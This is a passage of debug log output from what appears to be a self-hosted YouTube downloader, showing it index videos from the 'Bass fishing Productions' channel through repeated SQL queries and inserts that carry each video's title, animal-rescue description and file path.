urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1343, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", "id" => "JKT8AxiO87Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JKT8AxiO87Y", "playlist_index" => 7, "timestamp" => 1756555203, "title" => "I Found The World’s Deadliest Sea Monsters…", "upload_date" => "20250830"} 08:30:08.835 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1144.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:08.836 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1146.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:08.840 [debug] QUERY OK source="media_items" db=3.1ms idle=1147.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 12:00:03Z], 33] 08:30:08.846 [debug] QUERY OK source="media_items" db=4.1ms idle=1088.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "0f79d876-0350-494b-9f0a-f4b289fec847", "JKT8AxiO87Y", false, "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, [], 1343, false, 7, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, false, 98, ~U[2025-08-30 12:00:03Z], ~U[2026-06-03 12:30:08Z], ~U[2026-06-03 12:30:08Z], "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "JKT8AxiO87Y", "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, 1343, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, ~U[2025-08-30 12:00:03Z]] 08:30:08.847 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=90.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:08.849 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=12.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:08.851 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=13.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118974] 08:30:08.851 [debug] Current batch of media processed. Will check again in 1000ms 08:30:09.852 [debug] Current batch of media processed. Will check again in 1000ms 08:30:10.854 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 977, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", "id" => "obiOzEbmVmU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=obiOzEbmVmU", "playlist_index" => 8, "timestamp" => 1755345609, "title" => "I Found a Deadly Monster in an Abandoned Pond…", "upload_date" => "20250816"} 08:30:10.855 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=165.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:10.856 [debug] QUERY OK source="sources" db=0.1ms idle=166.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:10.857 [debug] QUERY OK source="media_items" db=0.8ms idle=166.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 12:00:09Z], 33] 08:30:10.859 [debug] QUERY OK source="media_items" db=1.0ms idle=168.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "bf62c03b-6119-445d-bafc-6cdb18f0a89c", "obiOzEbmVmU", false, "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, [], 977, false, 8, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, false, 98, ~U[2025-08-16 12:00:09Z], ~U[2026-06-03 12:30:10Z], ~U[2026-06-03 12:30:10Z], "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "obiOzEbmVmU", "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, 977, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, ~U[2025-08-16 12:00:09Z]] 08:30:10.859 [debug] QUERY OK source="sources" db=0.1ms idle=100.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:10.859 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:10.860 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118975] 08:30:10.860 [debug] Current batch of media processed. Will check again in 1000ms 08:30:11.860 [debug] Current batch of media processed. Will check again in 1000ms 08:30:12.862 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 7322, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", "id" => "818YLuzrD-4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=818YLuzrD-4", "playlist_index" => 9, "timestamp" => 1754136011, "title" => "Every Animal i Found in 2025", "upload_date" => "20250802"} 08:30:12.863 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=173.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:12.863 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=173.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:12.866 [debug] QUERY OK source="media_items" db=2.3ms idle=174.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 12:00:11Z], 33] 08:30:12.867 [debug] QUERY OK source="media_items" db=0.8ms idle=177.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "9d29b46c-f0c2-4bd9-a280-0368c19affe8", "818YLuzrD-4", false, "https://www.youtube.com/watch?v=818YLuzrD-4", 33, [], 7322, false, 9, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, false, 98, ~U[2025-08-02 12:00:11Z], ~U[2026-06-03 12:30:12Z], ~U[2026-06-03 12:30:12Z], "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "818YLuzrD-4", "https://www.youtube.com/watch?v=818YLuzrD-4", 33, 7322, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, ~U[2025-08-02 12:00:11Z]] 08:30:12.868 [debug] QUERY OK source="sources" db=0.2ms idle=107.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:12.868 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:12.869 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118976] 08:30:12.869 [debug] Current batch of media processed. Will check again in 1000ms 08:30:13.870 [debug] Current batch of media processed. Will check again in 1000ms 08:30:14.871 [debug] Current batch of media processed. Will check again in 1000ms 08:30:15.873 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1316, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", "id" => "OqQWifbE3ws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OqQWifbE3ws", "playlist_index" => 10, "timestamp" => 1753556426, "title" => "I Bought The Deadliest Insects (to keep as pets)", "upload_date" => "20250726"} 08:30:15.874 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1184.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:15.875 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms 